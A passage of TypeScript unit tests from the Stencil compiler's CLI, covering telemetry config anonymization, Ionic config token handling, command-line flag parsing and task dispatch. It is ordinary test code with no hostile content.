}); it('sends a component count when one is provided', async () => { const COMPONENT_COUNT = 12; const config = mockValidatedConfig({ outputTargets: [{ type: 'www' }], }); const data = await telemetry.prepareData(coreCompiler, config, sys, 1000, COMPONENT_COUNT); expect(data.component_count).toEqual(COMPONENT_COUNT); }); }); describe('anonymizeConfigForTelemetry', () => { let config: d.ValidatedConfig; let sys: d.CompilerSystem; beforeEach(() => { sys = createSystem(); config = mockValidatedConfig({ sys }); }); it.each([ 'rootDir', 'fsNamespace', 'packageJsonFilePath', 'namespace', 'srcDir', 'srcIndexHtml', 'buildLogFilePath', 'cacheDir', 'configPath', 'tsconfig', ])("should anonymize top-level string prop '%s'", (prop: keyof d.ValidatedConfig) => { const anonymizedConfig = anonymizeConfigForTelemetry({ ...config, [prop]: "shouldn't see this!", outputTargets: [], }); expect(anonymizedConfig[prop]).toBe('omitted'); expect(anonymizedConfig.outputTargets).toEqual([]); }); it.each([ 'commonjs', 'devServer', 'env', 'logger', 'rollupConfig', 'sys', 'testing', 'tsCompilerOptions', ])("should remove objects under prop '%s'", (prop: keyof d.ValidatedConfig) => { const anonymizedConfig = anonymizeConfigForTelemetry({ ...config, [prop]: {}, outputTargets: [] }); expect(anonymizedConfig.hasOwnProperty(prop)).toBe(false); expect(anonymizedConfig.outputTargets).toEqual([]); }); it('should retain outputTarget props on the keep list', () => { const anonymizedConfig = anonymizeConfigForTelemetry({ ...config, outputTargets: [ { type: WWW, baseUrl: 'https://example.com' }, { type: DIST_HYDRATE_SCRIPT, external: ['beep', 'boop'], dir: 'shoud/go/away' }, { type: DIST_CUSTOM_ELEMENTS }, { type: DIST_CUSTOM_ELEMENTS, generateTypeDeclarations: true }, { type: DIST, typesDir: 'my-types' }, ], }); expect(anonymizedConfig.outputTargets).toEqual([ { type: WWW, baseUrl: 'omitted' }, { type: DIST_HYDRATE_SCRIPT, external: ['beep', 'boop'], dir: 'omitted' }, { type: DIST_CUSTOM_ELEMENTS }, { type: DIST_CUSTOM_ELEMENTS, generateTypeDeclarations: true }, { type: DIST, typesDir: 'omitted' }, ]); }); }); ================================================ FILE: src/cli/test/ionic-config.spec.ts ================================================ import { mockCompilerSystem } from '@stencil/core/testing'; import { createSystem } from '../../compiler/sys/stencil-sys'; import { defaultConfig, readConfig, updateConfig, writeConfig } from '../ionic-config'; import { UUID_REGEX } from '../telemetry/helpers'; const UUID1 = '5588e0f0-02b5-4afa-8194-5d8f78683b36'; const UUID2 = 'e5609819-5c24-4fa2-8817-e05ca10b8cae'; describe('readConfig', () => { const sys = mockCompilerSystem(); beforeEach(async () => { await sys.removeFile(defaultConfig(sys)); }); it('should create a file if it does not exist', async () => { const result = await sys.stat(defaultConfig(sys)); // expect the file to have been deleted by the test setup expect(result.isFile).toBe(false); const config = await readConfig(sys); expect(Object.keys(config).join()).toBe('tokens.telemetry,telemetry.stencil'); }); it("should fix the telemetry token if it's a string, but an invalid UUID", async () => { await writeConfig(sys, { 'telemetry.stencil': true, 'tokens.telemetry': 'aaaa' }); const result = await sys.stat(defaultConfig(sys)); expect(result.isFile).toBe(true); const config = await readConfig(sys); expect(Object.keys(config).join()).toBe('telemetry.stencil,tokens.telemetry'); expect(config['telemetry.stencil']).toBe(true); expect(config['tokens.telemetry']).toMatch(UUID_REGEX); }); it('handles a non-string telemetry token', async () => { // our typings state that `tokens.telemetry` is of type `string | undefined`, but technically this value could be // anything. use `undefined` to make the typings happy (this should cover all non-string telemetry tokens). the // important thing here is that the value is _not_ a string for this test! await writeConfig(sys, { 'telemetry.stencil': true, 'tokens.telemetry': undefined }); const config = await readConfig(sys); expect(Object.keys(config).join()).toBe('telemetry.stencil,tokens.telemetry'); expect(config['telemetry.stencil']).toBe(true); expect(config['tokens.telemetry']).toMatch(UUID_REGEX); }); it('handles a non-existent telemetry token', async () => { await writeConfig(sys, { 'telemetry.stencil': true }); const config = await readConfig(sys); expect(Object.keys(config).join()).toBe('telemetry.stencil,tokens.telemetry'); expect(config['telemetry.stencil']).toBe(true); expect(config['tokens.telemetry']).toMatch(UUID_REGEX); }); it('should read a file if it exists', async () => { await writeConfig(sys, { 'telemetry.stencil': true, 'tokens.telemetry': UUID1 }); const result = await sys.stat(defaultConfig(sys)); expect(result.isFile).toBe(true); const config = await readConfig(sys); expect(Object.keys(config).join()).toBe('telemetry.stencil,tokens.telemetry'); expect(config['telemetry.stencil']).toBe(true); expect(config['tokens.telemetry']).toBe(UUID1); }); }); describe('updateConfig', () => { const sys = createSystem(); it('should edit a file', async () => { await writeConfig(sys, { 'telemetry.stencil': true, 'tokens.telemetry': UUID1 }); const result = await sys.stat(defaultConfig(sys)); expect(result.isFile).toBe(true); const configPre = await readConfig(sys); expect(typeof configPre).toBe('object'); expect(Object.keys(configPre).join()).toBe('telemetry.stencil,tokens.telemetry'); expect(configPre['telemetry.stencil']).toBe(true); expect(configPre['tokens.telemetry']).toBe(UUID1); await updateConfig(sys, { 'telemetry.stencil': false, 'tokens.telemetry': UUID2 }); const configPost = await readConfig(sys); expect(typeof configPost).toBe('object'); // Should keep the previous order expect(Object.keys(configPost).join()).toBe('telemetry.stencil,tokens.telemetry'); expect(configPost['telemetry.stencil']).toBe(false); expect(configPost['tokens.telemetry']).toBe(UUID2); }); }); ================================================ FILE: src/cli/test/parse-flags.spec.ts ================================================ import { toDashCase } from '@utils'; import { LogLevel } from '../../declarations'; import { BOOLEAN_CLI_FLAGS, BOOLEAN_STRING_CLI_FLAGS, BooleanStringCLIFlag, ConfigFlags, NUMBER_CLI_FLAGS, STRING_ARRAY_CLI_FLAGS, STRING_CLI_FLAGS, StringArrayCLIFlag, } from '../config-flags'; import { Empty, parseEqualsArg, parseFlags } from '../parse-flags'; describe('parseFlags', () => { it('should get known and unknown args', () => { const args = ['serve', '--address', '127.0.0.1', '--potatoArgument', '--flimflammery', 'test.spec.ts']; const flags = parseFlags(args); expect(flags.task).toBe('serve'); expect(flags.args[0]).toBe('--address'); expect(flags.args[1]).toBe('127.0.0.1'); expect(flags.args[2]).toBe('--potatoArgument'); expect(flags.args[3]).toBe('--flimflammery'); expect(flags.args[4]).toBe('test.spec.ts'); expect(flags.knownArgs).toEqual(['--address', '127.0.0.1']); expect(flags.unknownArgs[0]).toBe('--potatoArgument'); expect(flags.unknownArgs[1]).toBe('--flimflammery'); expect(flags.unknownArgs[2]).toBe('test.spec.ts'); }); it('should parse cli for dev server', () => { // user command line args // $ npm run serve --port 4444 // args.slice(2) // [ 'serve', '--address', '127.0.0.1', '--port', '4444' ] const args = ['serve', '--address', '127.0.0.1', '--port', '4444']; const flags = parseFlags(args); expect(flags.task).toBe('serve'); expect(flags.address).toBe('127.0.0.1'); expect(flags.port).toBe(4444); expect(flags.knownArgs).toEqual(['--address', '127.0.0.1', '--port', '4444']); }); it('should parse task', () => { const flags = parseFlags(['build']); expect(flags.task).toBe('build'); }); it('should parse no task', () => { const flags = parseFlags(['--flag']); expect(flags.task).toBe(null); }); /** * these comprehensive tests of all the supported boolean args serve as * regression tests against duplicating any of the arguments in the arrays. * Because of the way that the arg parsing algorithm works having a dupe * will result in a value like `[true, true]` being set on ConfigFlags, which * will cause these tests to start failing. */ describe.each(BOOLEAN_CLI_FLAGS)('should parse boolean flag %s', (cliArg) => { it('should parse arg', () => { const flags = parseFlags([`--${cliArg}`]); expect(flags.knownArgs).toEqual([`--${cliArg}`]); expect(flags[cliArg]).toBe(true); }); it(`should parse --no${cliArg}`, () => { const negativeFlag = '--no' + cliArg.charAt(0).toUpperCase() + cliArg.slice(1); const flags = parseFlags([negativeFlag]); expect(flags.knownArgs).toEqual([negativeFlag]); expect(flags[cliArg]).toBe(false); }); it(`should override --${cliArg} with --no${cliArg}`, () => { const negativeFlag = '--no' + cliArg.charAt(0).toUpperCase() + cliArg.slice(1); const flags = parseFlags([`--${cliArg}`, negativeFlag]); expect(flags.knownArgs).toEqual([`--${cliArg}`, negativeFlag]); expect(flags[cliArg]).toBe(false); }); it('should not set value if not present', () => { const flags = parseFlags([]); expect(flags.knownArgs).toEqual([]); expect(flags[cliArg]).toBe(undefined); }); it.each([true, false])(`should set the value with --${cliArg}=%p`, (value) => { const flags = parseFlags([`--${cliArg}=${value}`]); expect(flags.knownArgs).toEqual([`--${cliArg}`, String(value)]); expect(flags[cliArg]).toBe(value); }); }); describe.each(STRING_CLI_FLAGS)('should parse string flag %s', (cliArg) => { it(`should parse "--${cliArg} value"`, () => { const flags = parseFlags([`--${cliArg}`, 'test-value']); expect(flags.knownArgs).toEqual([`--${cliArg}`, 'test-value']); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toBe('test-value'); }); it(`should parse "--${cliArg}=value"`, () => { const flags = parseFlags([`--${cliArg}=path/to/file.js`]); expect(flags.knownArgs).toEqual([`--${cliArg}`, 'path/to/file.js']); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toBe('path/to/file.js'); }); it(`should parse "--${toDashCase(cliArg)} value"`, () => { const flags = parseFlags([`--${toDashCase(cliArg)}`, 'path/to/file.js']); expect(flags.knownArgs).toEqual([`--${toDashCase(cliArg)}`, 'path/to/file.js']); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toBe('path/to/file.js'); }); it(`should parse "--${toDashCase(cliArg)}=value"`, () => { const flags = parseFlags([`--${toDashCase(cliArg)}=path/to/file.js`]); expect(flags.knownArgs).toEqual([`--${toDashCase(cliArg)}`, 'path/to/file.js']); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toBe('path/to/file.js'); }); }); it.each(NUMBER_CLI_FLAGS)('should parse number flag %s', (cliArg) => { const flags = parseFlags([`--${cliArg}`, '42']); expect(flags.knownArgs).toEqual([`--${cliArg}`, '42']); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toBe(42); }); it('should override --config with second --config', () => { const args = ['--config', '/config-1.js', '--config', '/config-2.js']; const flags = parseFlags(args); expect(flags.config).toBe('/config-2.js'); }); describe.each(BOOLEAN_STRING_CLI_FLAGS)('boolean-string flag - %s', (cliArg: BooleanStringCLIFlag) => { it('parses a boolean-string flag as a boolean with no arg', () => { const args = [`--${cliArg}`]; const flags = parseFlags(args); expect(flags[cliArg]).toBe(true); expect(flags.knownArgs).toEqual([`--${cliArg}`]); }); it(`parses a boolean-string flag as a falsy boolean with "no" arg - --no-${cliArg}`, () => { const args = [`--no-${cliArg}`]; const flags = parseFlags(args); expect(flags[cliArg]).toBe(false); expect(flags.knownArgs).toEqual([`--no-${cliArg}`]); }); it(`parses a boolean-string flag as a falsy boolean with "no" arg - --no${ cliArg.charAt(0).toUpperCase() + cliArg.slice(1) }`, () => { const negativeFlag = '--no' + cliArg.charAt(0).toUpperCase() + cliArg.slice(1); const flags = parseFlags([negativeFlag]); expect(flags[cliArg]).toBe(false); expect(flags.knownArgs).toEqual([negativeFlag]); }); it('parses a boolean-string flag as a string with a string arg', () => { const args = [`--${cliArg}`, 'shell']; const flags = parseFlags(args); expect(flags[cliArg]).toBe('shell'); expect(flags.knownArgs).toEqual([`--${cliArg}`, 'shell']); }); it('parses a boolean-string flag as a string with a string arg using equality', () => { const args = [`--${cliArg}=shell`]; const flags = parseFlags(args); expect(flags[cliArg]).toBe('shell'); expect(flags.knownArgs).toEqual([`--${cliArg}`, 'shell']); }); }); describe.each(['info', 'warn', 'error', 'debug'])('logLevel %s', (level) => { it("should parse '--logLevel %s'", () => { const args = ['--logLevel', level]; const flags = parseFlags(args); expect(flags.logLevel).toBe(level); }); it('should parse --logLevel=%s', () => { const args = [`--logLevel=${level}`]; const flags = parseFlags(args); expect(flags.logLevel).toBe(level); }); it("should parse '--log-level %s'", () => { const flags = parseFlags(['--log-level', level]); expect(flags.logLevel).toBe(level); }); it('should parse --log-level=%s', () => { const flags = parseFlags([`--log-level=${level}`]); expect(flags.logLevel).toBe(level); }); }); /** * maxWorkers is (as of this writing) our only StringNumberCLIArg, meaning it * may be a string (like "50%") or a number (like 4). For this reason we have * some tests just for it. */ describe('maxWorkers', () => { it.each([ ['--maxWorkers', '4'], ['--maxWorkers=4'], ['--max-workers', '4'], ['--maxWorkers', '4e+0'], ['--maxWorkers', '40e-1'], ])('should parse %p, %p', (...args) => { const flags = parseFlags(args); expect(flags.maxWorkers).toBe(4); }); it('should parse --maxWorkers 4', () => { const flags = parseFlags(['--maxWorkers', '4']); expect(flags.maxWorkers).toBe(4); }); it('should parse --maxWorkers=4', () => { const flags = parseFlags(['--maxWorkers=4']); expect(flags.maxWorkers).toBe(4); }); it('should parse --max-workers 4', () => { const flags = parseFlags(['--max-workers', '4']); expect(flags.maxWorkers).toBe(4); }); it('should parse --maxWorkers=50%', function () { // see https://jestjs.io/docs/27.x/cli#--maxworkersnumstring const flags = parseFlags(['--maxWorkers=50%']); expect(flags.maxWorkers).toBe('50%'); }); it('should parse --max-workers=1', () => { const flags = parseFlags(['--max-workers=1']); expect(flags.maxWorkers).toBe(1); }); it('should not parse --max-workers', () => { const flags = parseFlags([]); expect(flags.maxWorkers).toBe(undefined); }); }); describe('aliases', () => { describe('-p (alias for port)', () => { it('should parse -p=4444', () => { const flags = parseFlags(['-p=4444']); expect(flags.port).toBe(4444); }); it('should parse -p 4444', () => { const flags = parseFlags(['-p', '4444']); expect(flags.port).toBe(4444); }); }); it('should parse -h (alias for help)', () => { const flags = parseFlags(['-h']); expect(flags.help).toBe(true); }); it('should parse -v (alias for version)', () => { const flags = parseFlags(['-v']); expect(flags.version).toBe(true); }); describe('-c alias for config', () => { it('should parse -c /my-config.js', () => { const flags = parseFlags(['-c', '/my-config.js']); expect(flags.config).toBe('/my-config.js'); expect(flags.knownArgs).toEqual(['--config', '/my-config.js']); }); it('should parse -c=/my-config.js', () => { const flags = parseFlags(['-c=/my-config.js']); expect(flags.config).toBe('/my-config.js'); expect(flags.knownArgs).toEqual(['--config', '/my-config.js']); }); }); describe('Jest aliases', () => { it.each([ ['w', 'maxWorkers', '4'], ['t', 'testNamePattern', 'testname'], ])('should support the string Jest alias %p for %p', (alias, fullArgument, value) => { const flags = parseFlags([`-${alias}`, value]); expect(flags.knownArgs).toEqual([`--${fullArgument}`, value]); expect(flags.unknownArgs).toHaveLength(0); }); it.each([ ['w', 'maxWorkers', '4'], ['t', 'testNamePattern', 'testname'], ])('should support the string Jest alias %p for %p in an AliasEqualsArg', (alias, fullArgument, value) => { const flags = parseFlags([`-${alias}=${value}`]); expect(flags.knownArgs).toEqual([`--${fullArgument}`, value]); expect(flags.unknownArgs).toHaveLength(0); }); it.each<[string, keyof ConfigFlags]>([ ['b', 'bail'], ['e', 'expand'], ['o', 'onlyChanged'], ['f', 'onlyFailures'], ['i', 'runInBand'], ['u', 'updateSnapshot'], ])('should support the boolean Jest alias %p for %p', (alias, fullArgument) => { const flags = parseFlags([`-${alias}`]); expect(flags.knownArgs).toEqual([`--${fullArgument}`]); expect(flags[fullArgument]).toBe(true); expect(flags.unknownArgs).toHaveLength(0); }); }); }); it('should parse many', () => { const args = ['-v', '--help', '-c=./myconfig.json']; const flags = parseFlags(args); expect(flags.version).toBe(true); expect(flags.help).toBe(true); expect(flags.config).toBe('./myconfig.json'); }); describe('parseEqualsArg', () => { it.each([ ['--fooBar=baz', '--fooBar', 'baz'], ['--foo-bar=4', '--foo-bar', '4'], ['--fooBar=twenty=3*4', '--fooBar', 'twenty=3*4'], ['--fooBar', '--fooBar', Empty], ['--foo-bar', '--foo-bar', Empty], ['--foo-bar=""', '--foo-bar', '""'], ])('should parse %s correctly', (testArg, expectedArg, expectedValue) => { const [arg, value] = parseEqualsArg(testArg); expect(arg).toBe(expectedArg); expect(value).toEqual(expectedValue); }); }); describe.each(STRING_ARRAY_CLI_FLAGS)('should parse string flag %s', (cliArg: StringArrayCLIFlag) => { it(`should parse single value: "--${cliArg} test-value"`, () => { const flags = parseFlags([`--${cliArg}`, 'test-value']); expect(flags.knownArgs).toEqual([`--${cliArg}`, 'test-value']); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toEqual(['test-value']); }); it(`should parse multiple values: "--${cliArg} test-value"`, () => { const flags = parseFlags([`--${cliArg}`, 'test-value', `--${cliArg}`, 'second-test-value']); expect(flags.knownArgs).toEqual([`--${cliArg}`, 'test-value', `--${cliArg}`, 'second-test-value']); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toEqual(['test-value', 'second-test-value']); }); it(`should parse "--${cliArg}=value"`, () => { const flags = parseFlags([`--${cliArg}=path/to/file.js`]); expect(flags.knownArgs).toEqual([`--${cliArg}`, 'path/to/file.js']); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toEqual(['path/to/file.js']); }); it(`should parse multiple values: "--${cliArg}=test-value"`, () => { const flags = parseFlags([`--${cliArg}=test-value`, `--${cliArg}=second-test-value`]); expect(flags.knownArgs).toEqual([`--${cliArg}`, 'test-value', `--${cliArg}`, 'second-test-value']); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toEqual(['test-value', 'second-test-value']); }); it(`should parse "--${toDashCase(cliArg)} value"`, () => { const flags = parseFlags([`--${toDashCase(cliArg)}`, 'path/to/file.js']); expect(flags.knownArgs).toEqual([`--${toDashCase(cliArg)}`, 'path/to/file.js']); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toEqual(['path/to/file.js']); }); it(`should parse multiple values: "--${toDashCase(cliArg)} test-value"`, () => { const flags = parseFlags([ `--${toDashCase(cliArg)}`, 'test-value', `--${toDashCase(cliArg)}`, 'second-test-value', ]); expect(flags.knownArgs).toEqual([ `--${toDashCase(cliArg)}`, 'test-value', `--${toDashCase(cliArg)}`, 'second-test-value', ]); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toEqual(['test-value', 'second-test-value']); }); it(`should parse "--${toDashCase(cliArg)}=value"`, () => { const flags = parseFlags([`--${toDashCase(cliArg)}=path/to/file.js`]); expect(flags.knownArgs).toEqual([`--${toDashCase(cliArg)}`, 'path/to/file.js']); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toEqual(['path/to/file.js']); }); it(`should parse multiple values: "--${toDashCase(cliArg)}=test-value"`, () => { const flags = parseFlags([`--${toDashCase(cliArg)}=test-value`, `--${toDashCase(cliArg)}=second-test-value`]); expect(flags.knownArgs).toEqual([ `--${toDashCase(cliArg)}`, 'test-value', `--${toDashCase(cliArg)}`, 'second-test-value', ]); expect(flags.unknownArgs).toEqual([]); expect(flags[cliArg]).toEqual(['test-value', 'second-test-value']); }); }); describe('error reporting', () => { it('should throw if you pass no argument to a string flag', () => { expect(() => { parseFlags(['--cacheDirectory', '--someOtherFlag']); }).toThrow('when parsing CLI flag "--cacheDirectory": expected a string argument but received nothing'); }); it('should throw if you pass no argument to a string array flag', () => { expect(() => { parseFlags(['--reporters', '--someOtherFlag']); }).toThrow('when parsing CLI flag "--reporters": expected a string argument but received nothing'); }); it('should throw if you pass no argument to a number flag', () => { expect(() => { parseFlags(['--port', '--someOtherFlag']); }).toThrow('when parsing CLI flag "--port": expected a number argument but received nothing'); }); it('should throw if you pass a non-number argument to a number flag', () => { expect(() => { parseFlags(['--port', 'stringy']); }).toThrow('when parsing CLI flag "--port": expected a number but received "stringy"'); }); it('should throw if you pass a bad number argument to a number flag', () => { expect(() => { parseFlags(['--port=NaN']); }).toThrow('when parsing CLI flag "--port": expected a number but received "NaN"'); }); it('should throw if you pass no argument to a string/number flag', () => { expect(() => { parseFlags(['--maxWorkers']); }).toThrow('when parsing CLI flag "--maxWorkers": expected a string or a number but received nothing'); }); it('should throw if you pass an invalid log level for --logLevel', () => { expect(() => { parseFlags(['--logLevel', 'potato']); }).toThrow('when parsing CLI flag "--logLevel": expected to receive a valid log level but received "potato"'); }); it('should throw if you pass no argument to --logLevel', () => { expect(() => { parseFlags(['--logLevel']); }).toThrow('when parsing CLI flag "--logLevel": expected to receive a valid log level but received nothing'); }); }); }); ================================================ FILE: src/cli/test/run.spec.ts ================================================ import * as coreCompiler from '@stencil/core/compiler'; import { mockCompilerSystem, mockConfig, mockLogger as createMockLogger } from '@stencil/core/testing'; import type * as d from '../../declarations'; import { createTestingSystem } from '../../testing/testing-sys'; import { createConfigFlags } from '../config-flags'; import * as ParseFlags from '../parse-flags'; import { run, runTask } from '../run'; import * as BuildTask from '../task-build'; import * as DocsTask from '../task-docs'; import * as GenerateTask from '../task-generate'; import * as HelpTask from '../task-help'; import * as PrerenderTask from '../task-prerender'; import * as ServeTask from '../task-serve'; import * as TelemetryTask from '../task-telemetry'; import * as TestTask from '../task-test'; describe('run', () => { describe('run()', () => { let cliInitOptions: d.CliInitOptions; let mockLogger: d.Logger; let mockSystem: d.CompilerSystem; let parseFlagsSpy: jest.SpyInstance< ReturnType, Parameters >; beforeEach(() => { mockLogger = createMockLogger(); mockSystem = createTestingSystem(); cliInitOptions = { args: [], logger: mockLogger, sys: mockSystem, }; parseFlagsSpy = jest.spyOn(ParseFlags, 'parseFlags'); parseFlagsSpy.mockReturnValue( createConfigFlags({ // use the 'help' task as a reasonable default for all calls to this function. // code paths that require a different task can always override this value as needed. task: 'help', }), ); }); afterEach(() => { parseFlagsSpy.mockRestore(); }); describe('help task', () => { let taskHelpSpy: jest.SpyInstance, Parameters>; beforeEach(() => { taskHelpSpy = jest.spyOn(HelpTask, 'taskHelp'); taskHelpSpy.mockReturnValue(Promise.resolve()); }); afterEach(() => { taskHelpSpy.mockRestore(); }); it("calls the help task when the 'task' field is set to 'help'", async () => { await run(cliInitOptions); expect(taskHelpSpy).toHaveBeenCalledTimes(1); expect(taskHelpSpy).toHaveBeenCalledWith( { task: 'help', args: [], knownArgs: [], unknownArgs: [], }, mockLogger, mockSystem, ); taskHelpSpy.mockRestore(); }); it("calls the help task when the 'task' field is set to null", async () => { parseFlagsSpy.mockReturnValue( createConfigFlags({ task: null, }), ); await run(cliInitOptions); expect(taskHelpSpy).toHaveBeenCalledTimes(1); expect(taskHelpSpy).toHaveBeenCalledWith( { task: 'help', args: [], knownArgs: [], unknownArgs: [], }, mockLogger, mockSystem, ); taskHelpSpy.mockRestore(); }); it("calls the help task when the 'help' field is set on flags", async () => { parseFlagsSpy.mockReturnValue( createConfigFlags({ help: true, }), ); await run(cliInitOptions); expect(taskHelpSpy).toHaveBeenCalledTimes(1); expect(taskHelpSpy).toHaveBeenCalledWith( { task: 'help', args: [], unknownArgs: [], knownArgs: [], }, mockLogger, mockSystem, ); taskHelpSpy.mockRestore(); }); }); }); describe('runTask()', () => { let sys: d.CompilerSystem; let unvalidatedConfig: d.UnvalidatedConfig; let taskBuildSpy: jest.SpyInstance, Parameters>; let taskDocsSpy: jest.SpyInstance, Parameters>; let taskGenerateSpy: jest.SpyInstance< ReturnType, Parameters >; let taskHelpSpy: jest.SpyInstance, Parameters>; let taskPrerenderSpy: jest.SpyInstance< ReturnType, Parameters >; let taskServeSpy: jest.SpyInstance, Parameters>; let taskTelemetrySpy: jest.SpyInstance< ReturnType, Parameters >; let taskTestSpy: jest.SpyInstance, Parameters>; beforeEach(() => { sys = mockCompilerSystem(); sys.exit = jest.fn(); unvalidatedConfig = mockConfig({ outputTargets: [], sys, fsNamespace: 'testing' }); taskBuildSpy = jest.spyOn(BuildTask, 'taskBuild'); taskBuildSpy.mockResolvedValue(); taskDocsSpy = jest.spyOn(DocsTask, 'taskDocs'); taskDocsSpy.mockResolvedValue(); taskGenerateSpy = jest.spyOn(GenerateTask, 'taskGenerate'); taskGenerateSpy.mockResolvedValue(); taskHelpSpy = jest.spyOn(HelpTask, 'taskHelp'); taskHelpSpy.mockResolvedValue(); taskPrerenderSpy = jest.spyOn(PrerenderTask, 'taskPrerender'); taskPrerenderSpy.mockResolvedValue(); taskServeSpy = jest.spyOn(ServeTask, 'taskServe'); taskServeSpy.mockResolvedValue(); taskTelemetrySpy = jest.spyOn(TelemetryTask, 'taskTelemetry'); taskTelemetrySpy.mockResolvedValue(); taskTestSpy = jest.spyOn(TestTask, 'taskTest'); taskTestSpy.mockResolvedValue(); }); afterEach(() => { taskBuildSpy.mockRestore(); taskDocsSpy.mockRestore(); taskGenerateSpy.mockRestore(); taskHelpSpy.mockRestore(); taskPrerenderSpy.mockRestore(); taskServeSpy.mockRestore(); taskTelemetrySpy.mockRestore(); taskTestSpy.mockRestore(); }); describe('default configuration', () => { describe('sys property', () => { it('uses the sys argument if one is provided', async () => { // remove the `CompilerSystem` on the config, just to be sure we don't accidentally use it unvalidatedConfig.sys = undefined; await runTask(coreCompiler, unvalidatedConfig, 'build', sys); const validated = coreCompiler.validateConfig(unvalidatedConfig, { sys }); // first validate there was one call, and that call had two arguments expect(taskBuildSpy).toHaveBeenCalledTimes(1); expect(taskBuildSpy).toHaveBeenCalledWith(coreCompiler, validated.config); const compilerSystemUsed: d.CompilerSystem = taskBuildSpy.mock.calls[0][1].sys; expect(compilerSystemUsed).toBe(sys); }); }); }); it('calls the build task', async () => { await runTask(coreCompiler, unvalidatedConfig, 'build', sys); const validated = coreCompiler.validateConfig(unvalidatedConfig, {}); expect(taskBuildSpy).toHaveBeenCalledTimes(1); expect(taskBuildSpy).toHaveBeenCalledWith(coreCompiler, validated.config); }); it('calls the docs task', async () => { await runTask(coreCompiler, unvalidatedConfig, 'docs', sys); const validated = coreCompiler.validateConfig(unvalidatedConfig, {}); expect(taskDocsSpy).toHaveBeenCalledTimes(1); expect(taskDocsSpy).toHaveBeenCalledWith(coreCompiler, validated.config); }); describe('generate task', () => { it("calls the generate task for the argument 'generate'", async () => { await runTask(coreCompiler, unvalidatedConfig, 'generate', sys); const validated = coreCompiler.validateConfig(unvalidatedConfig, {}); expect(taskGenerateSpy).toHaveBeenCalledTimes(1); expect(taskGenerateSpy).toHaveBeenCalledWith(validated.config); }); it("calls the generate task for the argument 'g'", async () => { await runTask(coreCompiler, unvalidatedConfig, 'g', sys); const validated = coreCompiler.validateConfig(unvalidatedConfig, {}); expect(taskGenerateSpy).toHaveBeenCalledTimes(1); expect(taskGenerateSpy).toHaveBeenCalledWith(validated.config); }); }); it('calls the help task', async () => { await runTask(coreCompiler, unvalidatedConfig, 'help', sys); const validated = coreCompiler.validateConfig(unvalidatedConfig, {}); expect(taskHelpSpy).toHaveBeenCalledTimes(1); expect(taskHelpSpy).toHaveBeenCalledWith(validated.config.flags, validated.config.logger, sys); }); it('calls the prerender task', async () => { await runTask(coreCompiler, unvalidatedConfig, 'prerender', sys); const validated = coreCompiler.validateConfig(unvalidatedConfig, {}); expect(taskPrerenderSpy).toHaveBeenCalledTimes(1); expect(taskPrerenderSpy).toHaveBeenCalledWith(coreCompiler, validated.config); }); it('calls the serve task', async () => { await runTask(coreCompiler, unvalidatedConfig, 'serve', sys); expect(taskServeSpy).toHaveBeenCalledTimes(1); expect(taskServeSpy).toHaveBeenCalledWith(coreCompiler.validateConfig(unvalidatedConfig, {}).config); }); describe('telemetry task', () => { it('calls the telemetry task when a compiler system is present', async () => { await runTask(coreCompiler, unvalidatedConfig, 'telemetry', sys); const validated = coreCompiler.validateConfig(unvalidatedConfig, {}); expect(taskTelemetrySpy).toHaveBeenCalledTimes(1); expect(taskTelemetrySpy).toHaveBeenCalledWith(validated.config.flags, sys, validated.config.logger); }); }); it('calls the test task', async () => { await runTask(coreCompiler, unvalidatedConfig, 'test', sys); expect(taskTestSpy).toHaveBeenCalledTimes(1); expect(taskTestSpy).toHaveBeenCalledWith(coreCompiler.validateConfig(unvalidatedConfig, {}).config); }); it('defaults to the help task for an unaccounted for task name', async () => { // info is a valid task name, but isn't used in the `switch` statement of `runTask` await runTask(coreCompiler, unvalidatedConfig, 'info', sys); const validated = coreCompiler.validateConfig(unvalidatedConfig, {}); expect(taskHelpSpy).toHaveBeenCalledTimes(1); expect(taskHelpSpy).toHaveBeenCalledWith(validated.config.flags, validated.config.logger, sys); }); it('defaults to the provided task if no flags exist on the provided config', async () => { unvalidatedConfig = mockConfig({ flags: undefined, sys }); await runTask(coreCompiler, unvalidatedConfig, 'help', sys); const validated = coreCompiler.validateConfig(unvalidatedConfig, {}); expect(taskHelpSpy).toHaveBeenCalledTimes(1); expect(taskHelpSpy).toHaveBeenCalledWith(createConfigFlags({ task: 'help' }), validated.config.logger, sys); }); }); }); ================================================ FILE: src/cli/test/task-generate.spec.ts ================================================ import { mockCompilerSystem, mockValidatedConfig } from '@stencil/core/testing'; import type * as d from '../../declarations'; import * as utils from '../../utils/validation'; import { createConfigFlags } from '../config-flags'; import { BoilerplateFile, getBoilerplateByExtension, taskGenerate } from '../task-generate'; const promptMock = jest.fn().mockResolvedValue('my-component'); jest.mock('prompts', () => ({ prompt: promptMock, })); let formatToPick = 'css'; const setup = async (plugins: any[] = []) => { const sys = mockCompilerSystem(); const config: d.ValidatedConfig = mockValidatedConfig({ configPath: '/testing-path', flags: createConfigFlags({ task: 'generate' }), srcDir: '/src', sys, plugins, }); // set up some mocks / spies config.sys.exit = jest.fn(); const errorSpy = jest.spyOn(config.logger, 'error'); const validateTagSpy = jest.spyOn(utils, 'validateComponentTag').mockReturnValue(undefined); // mock prompt usage: tagName and filesToGenerate are the keys used for // different calls, so we can cheat here and just do a single // mockResolvedValue let format = formatToPick; promptMock.mockImplementation((params) => { if (params.name === 'sassFormat') { format = 'sass'; return { sassFormat: 'sass' }; } return { tagName: 'my-component', filesToGenerate: [format, 'spec.tsx', 'e2e.ts'], }; }); return { config, errorSpy, validateTagSpy }; }; /** * Little test helper function which just temporarily silences * console.log calls, so we can avoid spewing a bunch of stuff. * @param config the user-supplied config to forward to `taskGenerate` */ async function silentGenerate(config: d.ValidatedConfig): Promise { const tmp = console.log; console.log = jest.fn(); await taskGenerate(config); console.log = tmp; } describe('generate task', () => { afterEach(() => { jest.restoreAllMocks(); jest.clearAllMocks(); jest.resetModules(); formatToPick = 